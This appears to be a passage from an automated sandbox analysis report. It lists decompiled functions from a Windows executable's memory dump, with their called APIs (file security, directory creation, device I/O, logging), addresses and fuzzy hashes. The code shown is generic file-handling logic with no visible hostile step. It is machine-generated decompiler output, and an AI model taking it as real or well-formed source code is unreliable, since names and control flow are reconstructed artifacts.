					_push( *((intOrPtr*)( *((intOrPtr*)(_t291 - 0x48)) + _t284 * 4)));
					_t218 = E0123AA62(_t291 - 0x78, _t297);
					if(_t218 != 0) {
						break;
					}
					if( *((intOrPtr*)(_t291 - 0x68)) == 0) {
						E012323B0(_t291 - 0x6c,  *0x1269828);
					}
					_t194 = strcmp( *(_t291 - 0x6c), "*");
					asm("sbb al, al");
					_t196 =  ~_t194 + 1;
					 *((char*)(_t291 + 0xf)) = _t196;
					if(_t196 != 0) {
						 *((intOrPtr*)(_t291 - 0x20)) = 0;
						 *((intOrPtr*)(_t291 - 0x1c)) = 0;
						 *((intOrPtr*)(_t291 - 0x18)) = 0;
						 *(_t291 - 4) = 5;
						E01238CC0( *((intOrPtr*)(_t291 + 8)), _t291 - 0x20, __eflags);
						_t198 = E0124B088(_t291 - 0x3c);
						_t290 = 0;
						__eflags =  *((intOrPtr*)(_t291 - 0x1c));
						 *((intOrPtr*)(_t291 - 0x2c)) = 0;
						if( *((intOrPtr*)(_t291 - 0x1c)) <= 0) {
							L29:
							E01231ABD(_t198,  *((intOrPtr*)(_t291 - 0x20)));
							 *(_t291 - 4) = 3;
							E01242A6A(_t291 - 0x78);
							goto L11;
						} else {
							goto L26;
						}
						do {
							L26:
							_t198 = E0124AF93(_t291 - 0x30,  *((intOrPtr*)( *((intOrPtr*)(_t291 - 0x20)) + _t290 * 8)),  *((intOrPtr*)( *((intOrPtr*)(_t291 - 0x20)) + 4 + _t290 * 8)));
							__eflags =  *((intOrPtr*)(_t291 - 0x2c)) -  *((intOrPtr*)(_t291 - 0x38));
							if( *((intOrPtr*)(_t291 - 0x2c)) !=  *((intOrPtr*)(_t291 - 0x38))) {
								_push(_t291 - 0x78);
								_push(_t198);
								_t198 = E0124AFED(_t291 - 0x3c);
							}
							_t290 = _t290 + 1;
							__eflags = _t290 -  *((intOrPtr*)(_t291 - 0x1c));
						} while (_t290 <  *((intOrPtr*)(_t291 - 0x1c)));
						goto L29;
					} else {
						if(E01238C2C( *((intOrPtr*)(_t291 + 8)), _t291 - 0x6c, _t291 - 0x1c) == 0) {
							 *(_t291 - 4) = 3;
							E01242A6A(_t291 - 0x78);
							 *(_t291 - 4) = 2;
							E01231ABD(E0124B037(_t218, _t291 - 0x3c),  *((intOrPtr*)(_t291 - 0x30)));
							 *(_t291 - 4) =  *(_t291 - 4) | 0xffffffff;
							E01248B2E(_t218, _t291 - 0x48);
							_t156 = 0x80004001;
							goto L41;
						}
						_t208 = E0124AF93(_t291 - 0x30,  *((intOrPtr*)(_t291 - 0x1c)),  *((intOrPtr*)(_t291 - 0x18)));
						if( *((intOrPtr*)(_t291 - 0x2c)) !=  *((intOrPtr*)(_t291 - 0x38))) {
							_push(_t291 - 0x78);
							_push(_t208);
							E0124AFED(_t291 - 0x3c);
						}
						 *(_t291 - 4) = 3;
						E01242A6A(_t291 - 0x78);
						_t284 = _t284 + 1;
						if(_t284 <  *((intOrPtr*)(_t291 - 0x44))) {
							continue;
						} else {
							goto L11;
						}
					}
				}
				 *(_t291 - 4) = 3;
				E01242A6A(_t291 - 0x78);
				 *(_t291 - 4) = 2;
				E01231ABD(E0124B037(_t218, _t291 - 0x3c),  *((intOrPtr*)(_t291 - 0x30)));
				 *(_t291 - 4) =  *(_t291 - 4) | 0xffffffff;
				E01248B2E(_t218, _t291 - 0x48);
				_t156 = _t218;
				goto L41;
			}

0x0124a2e7
0x0124a2ec
0x0124a2f2
0x0124a2f5
0x0124a2fb
0x0124a305
0x0124a308
0x0124a318
0x0124a31c
0x0124a328
0x0124a32d
0x0124a32e
0x0124a331
0x0124a334
0x0124a33a
0x0124a33e
0x0124a343
0x0124a345
0x0124a348
0x0124a34c
0x0124a3f7
0x0124a3f7
0x0124a3fc
0x0124a66e
0x0124a671
0x0124a67d
0x0124a682
0x0124a68a
0x0124a68f
0x0124a691
0x0124a697
0x0124a69f
0x00000000
0x00000000
0x00000000
0x0124a402
0x0124a402
0x0124a402
0x0124a408
0x0124a40c
0x0124a41e
0x0124a42e
0x0124a432
0x00000000
0x00000000
0x0124a438
0x0124a43d
0x0124a605
0x0124a60a
0x0124a60b
0x0124a612
0x0124a617
0x0124a617
0x0124a61a
0x0124a61e
0x0124a620
0x0124a625
0x0124a625
0x00000000
0x0124a620
0x0124a446
0x0124a449
0x0124a458
0x0124a45c
0x0124a45e
0x0124a463
0x0124a47b
0x0124a47d
0x0124a481
0x0124a486
0x0124a486
0x0124a489
0x0124a48f
0x0124a495
0x0124a498
0x0124a62d
0x0124a632
0x0124a636
0x0124a638
0x0124a63c
0x0124a641
0x0124a641
0x0124a644
0x0124a649
0x0124a64c
0x0124a658
0x0124a65d
0x0124a665
0x0124a66a
0x00000000
0x0124a49e
0x0124a4ac
0x0124a4b0
0x0124a4b8
0x0124a4bc
0x0124a4c4
0x0124a4cb
0x0124a4ce
0x0124a4d1
0x0124a4d6
0x0124a4db
0x0124a4de
0x0124a4e1
0x0124a4e1
0x0124a4e1
0x0124a4e9
0x0124a4ef
0x0124a4f6
0x0124a4fb
0x0124a4ff
0x00000000
0x00000000
0x00000000
0x0124a505
0x0124a498
0x0124a465
0x0124a466
0x0124a46e
0x0124a472
0x00000000
0x00000000
0x0124a478
0x00000000
0x0124a478
0x0124a5e9
0x0124a5ee
0x0124a5f2
0x0124a5f4
0x0124a5f8
0x0124a5fd
0x0124a5fd
0x00000000
0x00000000
0x00000000
0x00000000
0x0124a352
0x0124a352
0x0124a355
0x0124a360
0x0124a364
0x0124a36c
0x0124a370
0x00000000
0x00000000
0x0124a379
0x0124a384
0x0124a384
0x0124a391
0x0124a398
0x0124a39b
0x0124a39e
0x0124a3a1
0x0124a53e
0x0124a541
0x0124a544
0x0124a54d
0x0124a551
0x0124a559
0x0124a55e
0x0124a560
0x0124a563
0x0124a566
0x0124a595
0x0124a598
0x0124a59e
0x0124a5a5
0x00000000
0x00000000
0x00000000
0x00000000
0x0124a568
0x0124a568
0x0124a575
0x0124a57d
0x0124a580
0x0124a585
0x0124a586
0x0124a58a
0x0124a58a
0x0124a58f
0x0124a590
0x0124a590
0x00000000
0x0124a3a7
0x0124a3b8
0x0124a5b2
0x0124a5b6
0x0124a5be
0x0124a5ca
0x0124a5cf
0x0124a5d7
0x0124a5dc
0x00000000
0x0124a5dc
0x0124a3c7
0x0124a3d2
0x0124a3d7
0x0124a3d8
0x0124a3dc
0x0124a3dc
0x0124a3e4
0x0124a3e8
0x0124a3ed
0x0124a3f1
0x00000000
0x00000000
0x00000000
0x00000000
0x0124a3f1
0x0124a3a1
0x0124a50d
0x0124a511
0x0124a519
0x0124a525
0x0124a52a
0x0124a532
0x0124a537
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0124A2E7

Part of subcall function 01234398: __EH_prolog.LIBCMT ref: 0123439D

strcmp.MSVCRT ref: 0124A391

Part of subcall function 0123150C: __EH_prolog.LIBCMT ref: 01231511

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

memset.MSVCRT ref: 0124A4D6

Part of subcall function 0124B037: __EH_prolog.LIBCMT ref: 0124B03C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$freememsetstrcmp
String ID:
API String ID: 149676679-0
Opcode ID: ed68ec96bee270ca6eec66a6c5f9ae61b7fd14f3de503fb2c66403cb157c1ce9
Instruction ID: b28687e7ce1abde41bfeacf7ec3bf1888a35e39ffced366dba3a7be42565b0b3
Opcode Fuzzy Hash: ed68ec96bee270ca6eec66a6c5f9ae61b7fd14f3de503fb2c66403cb157c1ce9
Instruction Fuzzy Hash: 7FC19C71C2014AEFCF1AEFE8D8849ECFBB4EF64304F208159E416AB2A1DB715A45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012627ED Relevance: 6.1, APIs: 4, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E012627ED(void* __ecx, void* __edx) {
				void* _t38;
				intOrPtr* _t63;
				char** _t79;
				void* _t82;
				void* _t85;

				E012639E0(0x1267b20, _t85);
				_push(__ecx);
				_t82 = __ecx;
				 *(_t85 - 0x10) = 0x1274708;
				EnterCriticalSection(0x1274708);
				 *((intOrPtr*)(_t85 - 4)) = 0;
				if( *((intOrPtr*)(_t85 + 0x10)) == 0 ||  *(_t82 + 0xb0) == 0) {
					 *((char*)(_t85 + 0x13)) = 0;
				} else {
					 *((char*)(_t85 + 0x13)) = 1;
					E0125BC65(_t82);
					_t79 = _t82 + 0xc4;
					E012323B0(_t79,  *((intOrPtr*)(_t85 + 0xc)));
					if( *((intOrPtr*)(_t85 + 8)) != 0) {
						E012324BF();
					}
					fputs( *_t79,  *( *(_t82 + 0xb0)));
					_t80 = _t82 + 0xd0;
					 *((intOrPtr*)(_t82 + 0xd4)) = 0;
					 *((short*)( *((intOrPtr*)(_t82 + 0xd0)))) = 0;
					if( *((intOrPtr*)(_t85 + 8)) != 0) {
						E01232A28(_t80,  *((intOrPtr*)(_t85 + 8)));
						E01231DE0( *(_t82 + 0xb0), _t80);
					}
					E01231D87( *(_t82 + 0xb0), _t80, _t82 + 0xc4);
					E01231CAE( *(_t82 + 0xb0));
					if( *((intOrPtr*)(_t82 + 0xb9)) != 0) {
						E01231C9F( *(_t82 + 0xb0));
					}
				}
				if( *((intOrPtr*)(_t82 + 0xa4)) != 0) {
					if( *((intOrPtr*)(_t82 + 0xbc)) >= 1) {
						_t78 = _t82 + 0x24;
						_t63 = _t82 + 0x18;
						 *((intOrPtr*)(_t82 + 0x28)) = 0;
						 *((short*)( *((intOrPtr*)(_t82 + 0x24)))) = 0;
						 *((intOrPtr*)(_t63 + 4)) = 0;
						 *((char*)( *_t63)) = 0;
						if( *((intOrPtr*)(_t82 + 0xbc)) > 1 ||  *((intOrPtr*)(_t85 + 0x13)) == 0) {
							E012323B0(_t63,  *((intOrPtr*)(_t85 + 0xc)));
							if( *((intOrPtr*)(_t85 + 8)) != 0) {
								E01232A28(_t78,  *((intOrPtr*)(_t85 + 8)));
							}
						}
					}
					E0126196E(_t82);
				}
				_t38 = E0125A3B2();
				LeaveCriticalSection(0x1274708);
				 *[fs:0x0] =  *((intOrPtr*)(_t85 - 0xc));
				return _t38;
			}

0x012627f2
0x012627f7
0x01262800
0x01262803
0x01262806
0x01262811
0x01262814
0x01262935
0x01262826
0x01262828
0x0126282c
0x01262834
0x0126283c
0x01262844
0x01262848
0x01262848
0x01262857
0x01262866
0x0126286e
0x01262871
0x01262874
0x0126287b
0x01262887
0x01262887
0x0126289a
0x012628a5
0x012628b0
0x012628b8
0x012628b8
0x012628b0
0x012628c3
0x012628cc
0x012628d1
0x012628d4
0x012628d7
0x012628da
0x012628df
0x012628e2
0x012628eb
0x012628f5
0x012628fd
0x01262904
0x01262904
0x012628fd
0x012628eb
0x0126290b
0x0126290b
0x01262910
0x0126291c
0x0126292a
0x01262932

APIs

__EH_prolog.LIBCMT ref: 012627F2
EnterCriticalSection.KERNEL32(01274708,?,00000001,?,?,01262B5D,?,0000006F,?,?,00000000), ref: 01262806
fputs.MSVCRT ref: 01262857
LeaveCriticalSection.KERNEL32(01274708,?,00000001,?,?,01262B5D,?,0000006F,?,?,00000000), ref: 0126291C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CriticalSection$EnterH_prologLeavefputs
String ID:
API String ID: 2174113412-0
Opcode ID: 2813aa1e6a19ee33a23981221e1ab191126a2122825c58e2aa32bd4023bb1d3f
Instruction ID: a86193434d2f0c68fa50c97dc7bae82bae1fb28cd56d496ba457b74f33d6c90b
Opcode Fuzzy Hash: 2813aa1e6a19ee33a23981221e1ab191126a2122825c58e2aa32bd4023bb1d3f
Instruction Fuzzy Hash: 4E31D671621386EFDB25AF74C490BBEBBE6FF95300F04841DE65A57290C7306850CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01247202 Relevance: 6.1, APIs: 4, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01247202(void* __ecx, WCHAR** _a4, signed int* _a8) {
				long _v8;
				long _v12;
				long _v16;
				WCHAR* _v20;
				int _t40;
				long _t41;
				void* _t42;
				int _t46;
				long _t50;
				struct _SECURITY_DESCRIPTOR** _t66;
				void* _t69;

				_t69 = __ecx;
				 *_a8 =  *_a8 | 0xffffffff;
				_v16 = 7;
				if( *((char*)(__ecx + 0x94)) != 0) {
					_v16 = 0xf;
				}
				_t8 = _t69 + 0x8c; // 0x8c
				_t66 = _t8;
				_v8 = _v8 & 0x00000000;
				_t40 = GetFileSecurityW( *_a4, _v16,  *(_t69 + 0x8c),  *(_t69 + 0x90),  &_v12);
				_v20 = _t40;
				if(_t40 == 0) {
					_t41 = GetLastError();
					_v8 = _t41;
					if(_t41 != 0x7a) {
						goto L15;
					} else {
						_t43 = _v12;
						if(_v12 <=  *(_t69 + 0x90)) {
							goto L16;
						} else {
							E0123705A(_t66, _t43);
							_v20 =  *_a4;
							_t46 = GetFileSecurityW(_v20, _v16,  *_t66,  *(_t69 + 0x90),  &_v12);
							_v20 = _t46;
							if(_t46 == 0) {
								_v8 = GetLastError();
							} else {
								if(_v12 !=  *(_t69 + 0x90)) {
									goto L5;
								}
							}
							goto L12;
						}
					}
				} else {
					_t50 = _v12;
					if(_t50 == 0) {
						L14:
						_t42 = 0;
					} else {
						if(_t50 >  *(_t69 + 0x90)) {
							L5:
							_v8 = 1;
						}
						L12:
						if(_v20 == 0) {
							L15:
							if(_v8 == 0) {
								L16:
								_v8 = 1;
							}
							_t42 = E01246F2A(_t69, _a4, _v8);
						} else {
							_t32 = _t69 + 0x68; // 0x68
							 *_a8 = E0123AFC2(_t32,  *_t66, _v12);
							goto L14;
						}
					}
				}
				return _t42;
			}

0x0124720d
0x0124720f
0x0124721a
0x01247221
0x01247223
0x01247223
0x01247239
0x01247239
0x01247242
0x01247255
0x01247259
0x0124725c
0x0124727a
0x01247283
0x01247286
0x00000000
0x01247288
0x01247288
0x01247291
0x00000000
0x01247293
0x01247296
0x012472a8
0x012472b7
0x012472bb
0x012472be
0x012472d3
0x012472c0
0x012472c9
0x00000000
0x012472cb
0x012472c9
0x00000000
0x012472be
0x01247291
0x0124725e
0x0124725e
0x01247263
0x012472ef
0x012472ef
0x01247269
0x0124726f
0x01247271
0x01247271
0x01247271
0x012472d6
0x012472da
0x012472f3
0x012472f7
0x012472f9
0x012472f9
0x012472f9
0x01247308
0x012472dc
0x012472e1
0x012472ed
0x00000000
0x012472ed
0x012472da
0x01247263
0x01247311

APIs

GetFileSecurityW.ADVAPI32(?,00000007,?,?,?,00000000,?,00000000,?), ref: 01247255
GetLastError.KERNEL32(?,00000000,?), ref: 0124727A
GetFileSecurityW.ADVAPI32(?,00000007,?,?,?,?,?,00000000,?), ref: 012472B7
GetLastError.KERNEL32(?,?,?,?,?,00000000,?), ref: 012472CD

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorFileLastSecurity
String ID:
API String ID: 555121230-0
Opcode ID: b0ed70f8f9c96cb39e25399f823f102d0f19e149a68634c0bf12afcb032d5a4e
Instruction ID: e1549dd3dbd1f5ddd2c0e74951bf531f84fd209d360909c7264255dcab9d855d
Opcode Fuzzy Hash: b0ed70f8f9c96cb39e25399f823f102d0f19e149a68634c0bf12afcb032d5a4e
Instruction Fuzzy Hash: 3A31837491020AFFDB15CFA8C884BAEBBB5FF44304F108859E665A7250D770AA41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 01236E1F Relevance: 6.1, APIs: 4, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E01236E1F(void* __ecx, void** __edx) {
				intOrPtr _t21;
				void* _t25;
				void* _t31;
				void* _t44;
				int _t47;
				void** _t49;
				void* _t51;

				E012639E0(E012646A8, _t51);
				_t49 = __edx;
				_t31 = 0;
				_t44 = __ecx;
				_t21 =  *((intOrPtr*)(__edx));
				_t57 = _t21;
				if(_t21 != 0) {
					E01231ABD(_t21, _t21);
					 *((intOrPtr*)(__edx)) = 0;
				}
				 *(_t51 - 0x24) =  *(_t51 - 0x24) | 0xffffffff;
				_t49[1] = _t31;
				_push(0x2200000);
				_push(3);
				_push(1);
				_push(_t31);
				_push(_t44);
				 *(_t51 - 4) = _t31;
				if(E012363E5(_t51 - 0x24, _t57) != 0) {
					if( *(_t51 + 8) != _t31) {
						GetFileInformationByHandle( *(_t51 - 0x24),  *(_t51 + 8));
					}
					_push(0x4000);
					_t25 = E01231A96();
					 *(_t51 + 8) = _t25;
					 *(_t51 - 0x14) = _t25;
					 *(_t51 - 4) = 1;
					if(DeviceIoControl( *(_t51 - 0x24), 0x900a8, _t31, _t31, _t25, 0x4000, _t51 - 0x10, _t31) != 0) {
						_t47 =  *(_t51 - 0x10);
						_t26 = E0123705A(_t49, _t47);
						if(_t47 != _t31) {
							_t26 = memcpy( *_t49,  *(_t51 + 8), _t47);
						}
						_t31 = 1;
					}
					E01231ABD(_t26,  *(_t51 + 8));
				}
				E01236497(_t51 - 0x24);
				 *[fs:0x0] =  *((intOrPtr*)(_t51 - 0xc));
				return _t31;
			}

0x01236e24
0x01236e2e
0x01236e30
0x01236e33
0x01236e35
0x01236e37
0x01236e39
0x01236e3c
0x01236e42
0x01236e42
0x01236e44
0x01236e48
0x01236e4b
0x01236e50
0x01236e52
0x01236e54
0x01236e55
0x01236e59
0x01236e63
0x01236e68
0x01236e70
0x01236e70
0x01236e7b
0x01236e7c
0x01236e82
0x01236e85
0x01236e99
0x01236ea5
0x01236ea7
0x01236ead
0x01236eb4
0x01236ebc
0x01236ec1
0x01236ec4
0x01236ec4
0x01236ec9
0x01236ece
0x01236ed2
0x01236edf
0x01236ee7

APIs

__EH_prolog.LIBCMT ref: 01236E24
GetFileInformationByHandle.KERNEL32(000000FF,?,?,00000000,00000001,00000003,02200000,?,?,00000000), ref: 01236E70
DeviceIoControl.KERNEL32 ref: 01236E9D
memcpy.MSVCRT ref: 01236EBC

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ControlDeviceFileH_prologHandleInformationfreememcpy
String ID:
API String ID: 1689166341-0
Opcode ID: b242ccebad517b067bc1ad213603d6e48f031cba6f6e70e785e0ca44ab26809a
Instruction ID: ef1c3ea4451296feff374535fc1835fabe431c08fa0e390f68c93b416ff64e33
Opcode Fuzzy Hash: b242ccebad517b067bc1ad213603d6e48f031cba6f6e70e785e0ca44ab26809a
Instruction Fuzzy Hash: 2C217FB2910249BEDB219F98DD84EAE7BFEEF94754F20402DF60566290CA314E44CA60

Uniqueness

Uniqueness Score: -1.00%

Function 01235008 Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01235008(WCHAR* __ecx) {
				signed int _t16;
				signed int _t17;
				int _t21;
				void* _t26;
				WCHAR* _t36;
				void* _t42;

				E012639E0(E012644B0, _t42);
				_t36 = __ecx;
				_t26 = E01237553(__ecx);
				if(_t26 == 1) {
					L4:
					if(_t26 == 0) {
						goto L8;
					} else {
						_t17 = E012328E9(_t42 - 0x18);
						 *(_t42 - 4) =  *(_t42 - 4) & 0x00000000;
						if(E0123765C(_t36, _t42 - 0x18, _t42, _t17 & 0xffffff00 | _t26 != 0x00000001) == 0) {
							E01231ABD(_t19,  *(_t42 - 0x18));
							goto L8;
						} else {
							_t21 = CreateDirectoryW( *(_t42 - 0x18), 0);
							_t16 = E01231ABD(_t21,  *(_t42 - 0x18)) & 0xffffff00 | _t21 != 0x00000000;
						}
					}
				} else {
					if(CreateDirectoryW(__ecx, 0) == 0) {
						if(GetLastError() == 0xb7) {
							L8:
							_t16 = 0;
						} else {
							goto L4;
						}
					} else {
						_t16 = 1;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t42 - 0xc));
				return _t16;
			}

0x0123500d
0x01235018
0x01235025
0x0123502a
0x01235046
0x01235048
0x00000000
0x0123504a
0x0123504d
0x01235052
0x01235069
0x01235087
0x00000000
0x0123506b
0x01235070
0x0123507f
0x0123507f
0x01235069
0x0123502c
0x01235033
0x01235044
0x0123508d
0x0123508d
0x00000000
0x00000000
0x00000000
0x01235035
0x01235035
0x01235035
0x01235033
0x01235095
0x0123509d

APIs

__EH_prolog.LIBCMT ref: 0123500D
CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000001), ref: 0123502F
GetLastError.KERNEL32(?,00000000,?,00000000,00000001), ref: 01235039
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000000,00000001), ref: 01235070

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CreateDirectory$ErrorH_prologLast
String ID:
API String ID: 1817354178-0
Opcode ID: 534c11f5d2a6311bed8ddfe25a4bd071972ac5b97e48ecc19bf453fb41860260
Instruction ID: 85cda78b440097203a3501a82f9d1e4502c63b07eff769dc1b60c9443d1cf9ac
Opcode Fuzzy Hash: 534c11f5d2a6311bed8ddfe25a4bd071972ac5b97e48ecc19bf453fb41860260
Instruction Fuzzy Hash: DD01D8B2920253DBDF246F649C45BBEFB65EFD4154F044126DF06A32D0CB6A88459AD0

Uniqueness

Uniqueness Score: -1.00%

Function 01259716 Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E01259716(void* __ecx) {
				signed int _t16;
				signed int _t17;
				signed int _t21;
				intOrPtr _t27;
				intOrPtr* _t30;
				void* _t36;
				signed int _t38;
				void* _t39;

				E012639E0(0x1266fe0, _t39);
				_push(__ecx);
				_t21 =  *(_t39 + 0xc);
				_t36 = __ecx;
				if(_t21 != 0x21) {
					L7:
					if(_t21 > 0) {
						_t21 = _t21 & 0x0000ffff | 0x80070000;
					}
					_t16 = _t21;
				} else {
					 *(_t39 - 0x10) = 0x12746c0;
					EnterCriticalSection(0x12746c0);
					_t27 =  *((intOrPtr*)(_t36 + 0x24));
					_t17 = 0;
					 *((intOrPtr*)(_t39 - 4)) = 0;
					if(_t27 <= 0) {
						L6:
						LeaveCriticalSection(0x12746c0);
						goto L7;
					} else {
						_t30 =  *((intOrPtr*)(_t36 + 0x20));
						while( *_t30 !=  *((intOrPtr*)(_t39 + 8))) {
							_t17 = _t17 + 1;
							_t30 = _t30 + 4;
							if(_t17 < _t27) {
								continue;
							} else {
								L5:
								_t21 =  *(_t39 + 0xc);
								goto L6;
							}
							goto L10;
						}
						_t38 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t36 + 0x5c)))) + 0x20))( *((intOrPtr*)( *((intOrPtr*)(_t36 + 0x2c)) + _t17 * 4)), 0x21);
						if(_t38 == 0) {
							goto L5;
						} else {
							LeaveCriticalSection(0x12746c0);
							_t16 = _t38;
						}
					}
				}
				L10:
				 *[fs:0x0] =  *((intOrPtr*)(_t39 - 0xc));
				return _t16;
			}

0x0125971b
0x01259720
0x01259722
0x0125972a
0x0125972c
0x01259765
0x01259767
0x0125976f
0x0125976f
0x01259775
0x0125972e
0x01259734
0x01259737
0x0125973d
0x01259740
0x01259744
0x01259747
0x0125975e
0x0125975f
0x00000000
0x01259749
0x01259749
0x0125974c
0x01259753
0x01259754
0x01259759
0x00000000
0x0125975b
0x0125975b
0x0125975b
0x00000000
0x0125975b
0x00000000
0x01259759
0x01259799
0x0125979d
0x00000000
0x0125979f
0x012597a0
0x012597a6
0x012597a6
0x0125979d
0x01259747
0x01259777
0x0125977d
0x01259785

APIs

__EH_prolog.LIBCMT ref: 0125971B
EnterCriticalSection.KERNEL32(012746C0), ref: 01259737
LeaveCriticalSection.KERNEL32(012746C0), ref: 0125975F
LeaveCriticalSection.KERNEL32(012746C0), ref: 012597A0

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CriticalSection$Leave$EnterH_prolog
String ID:
API String ID: 2532973370-0
Opcode ID: c07621475a3ff5f113d518ca1cc55aeb273a16b0fae0f501b6053424d310b01c
Instruction ID: c83547dbf4562fa49f910d2c1066656e2d0b68b92d5cbf0aa9b852a25464117d
Opcode Fuzzy Hash: c07621475a3ff5f113d518ca1cc55aeb273a16b0fae0f501b6053424d310b01c
Instruction Fuzzy Hash: 41118E75710302EBCB64CF59D4C4A6EB7E8FF4D714B14852AEA0AD7740C775AC818BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0125AC8B Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0125AC8B(void* __ecx) {
				void* _t16;
				struct _IO_FILE** _t39;
				intOrPtr _t43;
				void* _t44;

				E012639E0(0x12670dc, _t44);
				_push(__ecx);
				 *(_t44 - 0x10) = 0x12746e0;
				EnterCriticalSection(0x12746e0);
				 *((intOrPtr*)(_t44 - 4)) = 0;
				_t16 = E0125A3B2();
				if(_t16 == 0) {
					_t43 =  *((intOrPtr*)(_t44 + 8));
					 *((intOrPtr*)(_t43 + 0x160)) =  *((intOrPtr*)(_t43 + 0x160)) + 1;
					asm("adc [eax+0x4], edi");
					 *((intOrPtr*)(_t43 + 0x158)) =  *((intOrPtr*)(_t43 + 0x158)) + 1;
					asm("adc [eax+0x4], edi");
					E0125A997(_t43);
					_t39 =  *(_t43 + 0xcc);
					if(_t39 != 0) {
						fputs( *0x126aa1c,  *_t39);
						_push( *((intOrPtr*)(_t44 + 0xc)));
						E01231CAE(E01231CC1(_t39));
						E01231C9F( *(_t43 + 0xcc));
					}
					_t16 = E0125A3B2();
				}
				LeaveCriticalSection(0x12746e0);
				 *[fs:0x0] =  *((intOrPtr*)(_t44 - 0xc));
				return _t16;
			}

0x0125ac90
0x0125ac95
0x0125ac9f
0x0125aca2
0x0125acaa
0x0125acad
0x0125acb4
0x0125acb6
0x0125acbb
0x0125acc8
0x0125accb
0x0125acd8
0x0125acdb
0x0125ace0
0x0125ace8
0x0125acf2
0x0125acfa
0x0125ad06
0x0125ad11
0x0125ad11
0x0125ad16
0x0125ad16
0x0125ad1e
0x0125ad2c
0x0125ad34

APIs

__EH_prolog.LIBCMT ref: 0125AC90
EnterCriticalSection.KERNEL32(012746E0), ref: 0125ACA2
fputs.MSVCRT ref: 0125ACF2

Part of subcall function 01231CC1: __EH_prolog.LIBCMT ref: 01231CC6
Part of subcall function 01231CC1: fputs.MSVCRT ref: 01231D39

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Part of subcall function 01231C9F: fflush.MSVCRT ref: 01231CA1

LeaveCriticalSection.KERNEL32(012746E0), ref: 0125AD1E

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
